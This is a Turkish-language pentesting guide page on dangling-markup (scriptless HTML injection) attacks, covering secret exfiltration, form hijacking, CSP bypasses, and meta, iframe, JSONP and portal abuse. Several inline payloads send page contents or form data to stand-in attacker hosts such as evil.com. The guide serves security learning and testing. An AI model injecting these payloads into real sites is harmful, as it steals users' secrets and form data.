Dangling Markup - HTML scriptless injection
Özet
Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, XSS bir yol bulamazsanız ancak bazı HTML etiketleri enjekte edebilirseniz çok yararlıdır. Ayrıca, bazı gizli metinlerin açık metin olarak saklandığı durumlarda istemciden dışa aktarmak istiyorsanız veya bazı betik yürütme işlemlerini yanıltmak istiyorsanız da yararlıdır.
Burada yorumlanan çeşitli teknikler, beklenmeyen yollarla bilgi dışa aktararak bazı İçerik Güvenlik Politikası geçişlerini atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
Ana Uygulamalar
Açık metin sırlarını çalmak
Sayfa yüklendiğinde <img src='http://evil.com/log.cgi?
enjekte ettiğinizde, kurban enjekte edilen img
etiketi ile kod arasındaki sonraki tırnak işareti içindeki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer img
etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
kullanabilirsiniz.
Dikkat edin ki Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
Ayrıca CSS @import
'i istismar edebilirsiniz (bir ";" bulana kadar tüm kodu gönderecektir)
Ayrıca <table
kullanabilirsiniz:
Ayrıca bir <base
etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
Formları Çalma
Sonra, verileri yollayan formlar (örneğin <form action='update_profile.php'>
) verileri kötü niyetli alan adına gönderecektir.
Formları Çalma 2
Bir form başlığı ayarlayın: <form action='http://evil.com/log_steal'>
bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.
Formları Çalma 3
Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:
Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir örneğini bu yazıda bulabilirsiniz.
Açık metin sırlarını çalmak 2
En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte ederek) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:
Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "Açık metin sırlarını çalma" ile "Formlar2 çalma" yöntemlerini birleştirir.
Aynı şeyi bir form ve bir <option>
etiketi enjekte ederek yapabilirsiniz. Kapanan bir </option>
bulunana kadar tüm veriler gönderilecektir:
Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:
Noscript kullanarak açık metin sırlarını çalmak
<noscript></noscript>
Javascript'i desteklemeyen tarayıcılarda içeriği yorumlayan bir etikettir (Chrome'da Javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).
Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği siteye sızdırmak için şunu enjekte etmek olacaktır:
Kullanıcı etkileşimi ile CSP'nin atlatılması
Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimi ile hala veri sızdırabilirsiniz. Bu durumda, şu yükü kullanacağız:
Not: Kurbanı, sizi kontrol ettiğiniz payload'a yönlendirecek bir bağlantıya tıklamaya davet edeceksiniz. Ayrıca, base
etiketi içindeki target
özniteliği bir sonraki tek tırnak işaretine kadar HTML içeriği içerecektir.
Bu, bağlantıya tıklandığında window.name
'nin değerinin tüm HTML içeriği olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu window.name
'e erişebilir ve bu veriyi dışa aktarabilirsiniz:
Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilginin paylaşılacağını seçiyorsunuz:
Yanıltıcı betik iş akışı 2 - Betik ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:
JSONP'nin Kötüye Kullanımı
Eğer bir JSONP arayüzü bulursanız, herhangi bir fonksiyonu herhangi bir veri ile çağırabilirsiniz:
Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:
Iframe kötüye kullanımı
Bir alt belge, üst belgenin location
özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:
Bu, şöyle bir şeyle hafifletilebilir: sandbox=' allow-scripts allow-top-navigation'
Bir iframe, farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir iframe adı özniteliğini kullanarak. Bu, hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu kötüye kullanarak kendini iframe'leyen bir iframe oluşturabileceğiniz için mümkündür ve ardından başlangıç iframe'inden o adı erişip sızdırabilirsiniz.
Daha fazla bilgi için https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta kötüye kullanımı
meta http-equiv
kullanarak bir Çerez ayarlamak gibi çeşitli eylemler gerçekleştirebilirsiniz: <meta http-equiv="Set-Cookie" Content="SESSID=1">
veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Bu, http-equiv ile ilgili bir CSP ile önlenir (Content-Security-Policy: default-src 'self';
, veya Content-Security-Policy: http-equiv 'self';
)
Yeni <portal HTML etiketi
<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma bulabilirsiniz burada.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals
adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.
HTML Sızıntıları
HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Sızıntıları
Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan zafiyet, saldıracağımız sayfanın aynı kökenine ait bir sayfada HTML enjekte etmeye izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayacağız, ancak başka bir sayfa.
pageSS-LeaksXS-Arama/XS-Sızıntıları
XS-Arama, yan kanal saldırılarını kötüye kullanarak çapraz köken bilgilerini dışa çıkarmaya yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin dahil edilmesini (JS yürütmesiyle ve olmadan) kötüye kullanır, örneğin CSS Enjeksiyonu veya Gecikmeli Yükleme Resimler.
pageXS-Search/XS-LeaksKaba Kuvvet Algılama Listesi
Referanslar
Last updated